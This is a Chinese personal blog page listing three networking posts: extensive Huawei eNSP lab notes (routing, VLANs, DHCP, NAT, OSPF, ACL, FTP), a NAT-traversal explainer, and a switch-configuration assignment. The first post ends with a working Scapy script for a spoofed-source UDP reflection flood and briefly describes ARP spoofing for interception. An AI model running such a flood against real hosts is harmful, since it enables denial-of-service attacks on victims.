首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
3
篇与
的结果
2022-11-03
【网络通信】eNSP 学习记录
静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址,命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证,类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级,分别为访问级( 0 级)、监控级( 1 级)、系统级( 2 级)和管理级( 3 级),当低级别用户向高级别切换时. 输入命令 super [level],此时如果设置了super 的password,则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式,具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证,则需要在相应的虚拟端口配置验证信息。(1) console访问 方式:需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式:需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式:需要启用 web 管理服务,并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图,跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式,输入时密码时,命令行不显示密码privilege level 用于给与此用户拥有的权限等级(等级为0-15,15为最高权限)service-type telnet 表示此用户用于Telnet服务创建用户命令:[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令:[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙:rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面,设置验证方式为aaa,指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务,默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后,ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限!(当然在添加用户时就可以配置) [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的,所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网,并且隔离了广播域,使不同广播域的用户不能进行通信。有三种方式:路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议,通过启用rip协议,路由器可以更好的学习相邻的路由表,更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的,局域网内不可能有相同的IP和MAC,当然要是有人想改那就不一样了,对了就是改IP地址和MAC地址,一开始我在想会发生什么,直到我实验了下发现都能通信!!在Windows上改IP和MAC都是自带的,网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址,接下来就到交换机看一下。2.到交换机的终端面板,进入视图输入 dis mac-add 查看交换机的mac缓存表,什么都没有,那是因为我们还没ping 对方,所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2,交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我,这个时候是192.168.10.1的主机就会把mac给交换机,然后交换机建立mac表,进行通信。4.这个时候我们查交换机的mac表,就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的,两台PC机同时ping PC2,观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的,要是刷新交换机mac地址显示的话,你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口,这说明交换机两边都在回应,但这样也不影响我们通信,最多会掉一个包,看视频什么的没任何压力,玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac,会导致对方的包不断回复给别的主机,导致对方PC断网(自己的想法)。ARP协议这款缺陷比较大,利用好直接玩转局域网,像上面的广播问谁是192.168.10.1 这个时候,要是别人一直发响应包给交换机,说我就是PC2 mac地址是这个,那么别人就会找伪装成PC2与你通信,欺骗网关还能当中间人对吧,流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继,获取路由器上dhcp IP地址池,分发给下面的PC机,个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机,好了进路由器配置下dhcp ip地址池,给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继,给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了,我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有,现在双方都ping一下,可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址,用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务,让他充当dhcp服务器,往下面分配ip地址。2.现在到PC机上设置自动获取,这个时候就可以拿到地址了。3.我们看一下获取成功,这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议,能动态学习到其他网段的路由。1.无环路:区域内部采用树形算法;区域间采用星型拓扑2.收敛快:相比于其他路由协议能更快速的收敛网络3.扩展性好:当网络规模扩大的时候, OPSF支持多区域可以将一些设备划分在一个区域4.支持认证:增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 (要在同一网段)// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 (要在同一网段)// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下,pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的,改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf,进入ospf视图里用 network 命令宣告网段,这里填的是网段加子网掩码的反码,到这里就已经配置好了ospf路由了,可以在路由器里用效果1.测试下能不能ping通对方,可以看到都是没问题的。链路聚合实验简介链路聚合的作用 :把多个物理接口绑定成一个逻辑接口,对于带宽何链路的可靠性做提升,若其中一端口出现故障,则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线,把这些线都绑定到一个逻辑接口上,要是其中有一条线出问题了,那么另外一条线就会自动补上,不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 (相同的) sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合,把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态,可以看到有两条线是开的,一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口,看看e0/0/3会不会自动补上,进入e0/0/2 输入shutdown 接口就关闭了,和我想的一样自动补上了,看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口,没有影响到他们的的通信,一个包都没丢。端口安全实验简介简单来说在公司的网络环境中,为了防外部人员接入公司内部网络,在交换机上给端口都绑定上指定PC的Mac地址,防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址,现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表,发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址,其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2,毫无疑问是可以通信的。5.现在改下Pc1的mac地址,看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说,IP地址是否属于同一子网络是根据子网掩码来决定的,如果两台PC的IP地址是一个网段的话那么可以正常通信,要是我想实现一个网段的但又不想让他们互相通信,那怎么办呢这里就要用到vlan技术了,他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单,这里就全设置了下创建了两个vlan 10 和 20, 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的,他们是属于vlan 10 的所以可以,要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离,不配置vlan 是可以通信的,因为是一个网段的。动态NAT实验简介简单来说,当我们访问公网某台服务器时,我们内网IP要从路由器出去利用NAT技术,将内网IP转换为公网IP进行访问,当数据到达公网的服务器上给我们做返回,就会把数据发给转换的公网地址,让他找到内网发数据的主机传达给他,这样就实现了内网和外网的通信,IPv4本来已经枯竭了,就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口,让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段,让他们之间可以通信。(我的思路是这样)ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了,但这里出去的地址是内网地址,我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP,在现实环境中那是不可能的,所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台,需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信,这里的标签我写错了AR3下面G0/0/0,现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址,加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下,接口通信的IP地址,加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了,现在给AR2路由器做下静态NAT。5.再到dns服务器上,添加下内网服务器映射的公网IP与域名进行绑定,好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址,可以自己测试 ping dns 看看能不能通信。7.全都配置好后,就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表,它是一种包过滤防火墙,路由器和交换机接口的指令列表,有了它可以实现数据包出入的控制,它分为基本acl和高级acl,这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关,这样才可以进行通信。2.进入AR1路由器给两边的接口,配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的,接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl,在里面添加网段 192.168.10.0,阻止这所有的主机,当然也可以指定IP地址了。5.配置好后尝试ping,发现不能通信了实验成功。FTP文件上传实验简介FTP服务器,是在互联网上提供存储空间的计算机,它们依照FTP协议提供服务,全称是File Transfer Protocol(文件传输协议),简单的来说,就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址,这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板,选择文件路径并开启FTP服务器。4.好了之后,使用Client1 ping ftp服务器看看能不能通信,可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器,配置下账号和密码。6.然后输入在路由器更改的账号和密码,用设备进行登录就成功了,就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是,攻击者发送伪造的 UDP 请求数据包到反射主机,并将源 IP 地址伪造为受害主机的地址,反射主机接收请求后,会将数据包转发给受害主机,这样就能对受害主机进行拒绝服务攻击,当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方,服务并没开UDP 53端口,所以攻击不成立,对方必须开启UDP 端口,你才能进行反射攻击。通过发起攻击抓包可以发现,反射的 1.2 PC 与 1.4 主机,都进行发送响应给 1.3 PC 主机,实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
2022年11月03日
654 阅读
0 评论
124 点赞
2022-10-03
【网络通信】NAT内网穿透原理
NAT知识国内网络环境被称为 “大内网”,原因如下: IPv4地址耗尽: IPv4地址资源已经用尽,无法为每台设备分配独立的公网IP。NAT技术的作用: NAT(网络地址转换)技术通过将内网IP地址转换为公网IP,实现设备访问外网。 路由器充当中介,负责内网到公网的地址和端口映射,从而支持更多设备共享少量公网IP。 内网设备通信需求: PC1和PC2位于同一内网,要访问外网服务器的Web服务,必须通过NAT转换和PAT端口映射。 NAT转换过程: PC2发送的数据到达路由器后,路由器将其内网IP转换为公网IP,并随机分配一个端口号。 路由器在NAT表中记录内网IP与端口的映射关系,从而允许PC2访问公网服务器,服务器返回的数据则通过映射回到内网设备。 NAT的弊端: 通信必须基于连接。一旦连接断开,路由器会释放NAT表中的映射关系。 此时,服务器无法再主动发送数据给PC2,数据包会被路由器判定为无效,从而无法接收,导致只能发起外部访问,不能接收外部主动请求。 部分解决方法: 例如,通过内网映射将公网IP绑定到内网设备,并保持监听状态,能一定程度上解决这个问题,但会带来更多管理复杂性与资源开销。内网穿透原理(简单版)需要中心服务器内网穿透需要一个中心服务器(Server)作为中转站,PC1和PC2先和Server建立连接。互相获取通信信息Server记录PC1和PC2的公网IP和端口信息(假设端口是100)。两台设备通过Server的转发,知道了彼此的IP和端口。直接通信(锥型NAT情况下)PC1直接向PC2的100端口发送连接请求,PC2回应后,两台设备就建立了UDP连接,可以绕过中心服务器直接通信。弊端如果两台设备的通信必须经过Server中转,速度会受限。比如:PC1和PC2带宽都是100M,但Server只有10M,那两者的传输速率最多只有5M。如果能实现直接通信(P2P),效率更高,但需要网络条件支持。简单来说,内网穿透就是用一个中转服务器让两台内网设备先“认识对方”,然后尝试直接通信。如果直接通信不行,就只能依赖中转,速度受限制。
2022年10月03日
115 阅读
0 评论
8 点赞
2022-09-07
【网络通信】eNSP技能考核作业
试题编号:J1-1:交换机设备安装与调试1.A公司网络规划如下图所示,要求内网各部门要有业务分割,又能相互访问。请配置好相关设备并调试通畅,公司网络IP地址分配如下:配置信息VLAN规划 VLAN编号部门员工数子网号网关地址子网掩码VLAN10财务部52192.168.1.0192.168.1.62255.255.255.192VLAN20市场部48192.168.1.64192.168.1.126255.255.255.192VLAN30行政部32192.168.1.128192.168.1.190255.255.255.192VLAN40研发部16192.168.1.192192.168.1.254255.255.255.192管理VLAN VLAN编号网络地址子网掩码VLAN1192.168.2.1255.255.255.192PC编号IP地址子网掩码PC1192.168.1.1255.255.255.192PC2192.168.1.65255.255.255.192PC3192.168.1.129255.255.255.192PC4192.168.1.193255.255.255.192任务一:网络设备互联(10分)①选择合适的网络互联设备进行组网,根据考场实际情况使用真实设备或者使用模拟器完成。(4分)②选择合适的连接线缆,用于连接网络设备。(3分)③根据需要,把网线连接到各网络设备接口上,注意:交换机S1的1与交换机S2的1口相连,交换机S1的2口与交换机S3的2口相连,交换机S2的3口与交换机S3的3口相连。(3分)第二部分:交换机基本配置(30分)任务二:交换机基本配置(30分)①交换机S1配置主机名为S1,交换机S2配置主机名为S2,交换机S3配置主机名为S3。(6分)②在交换机S1上配置CONSOLE口登录口令为class,进入系统视图口令为huawei。(6分)③在交换机S1上配置管理IP,并开启SSH远程登陆功能:域cisco.com、用户名Admin和密码abcde、密钥长度1024、SSH版本2。(12分)④在交换机S1上使用适当的标语文本警告未经授权的访问。以下是示例文本:Authorized access only.Violators will be prosecuted to the full extent of the law.(3分)⑤保存到目前为止的配置信息,防止掉电丢失。(3分)第三部分:交换机功能配置(45分)任务三:划分vlan(26分)①根据需求,在交换机S1上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)②根据需求,在交换机S2上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)③根据需求,在交换机S3上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)④在交换机S2上把F0/11-15放到vlan10,F0/16-20放到vlan20。(4分)⑤在交换机S3上把F0/11-15放到vlan30,F0/16-20放到vlan40。(4分)⑥交换机S1的F0/1、F0/2与交换机S2的F0/1、F0/3设置为trunk。(4分)⑦把交换机S3的F0/2、F0/3设置为trunk。(2分)任务四:配置生成树(9分)①将交换机S1配置为根网桥。(9分)任务五:不同vlan之间的通信(10分)①在交换机S1中开启路由功能,同时给每个SVI接口配置IP地址,作为对应VLAN的网关地址。(10分)拓扑图搭建PC1 连接S1交换机 配置Console登录密码<tianzhihua_s1>system-view // 进入系统视图 [tianzhihua_s1]user-interface console 0 // 配置console口 [tianzhihua_s1-ui-console0]set authentication password cipher class // 设置密码为class超级密码<tianzhihua_s1>system-view [Huawei]super password cipher huawei进入交换机三种方案console // 终端口 vty // 都走这两种协议 telnet、ssh web // 网页控制
2022年09月07日
207 阅读
0 评论
11 点赞
0:00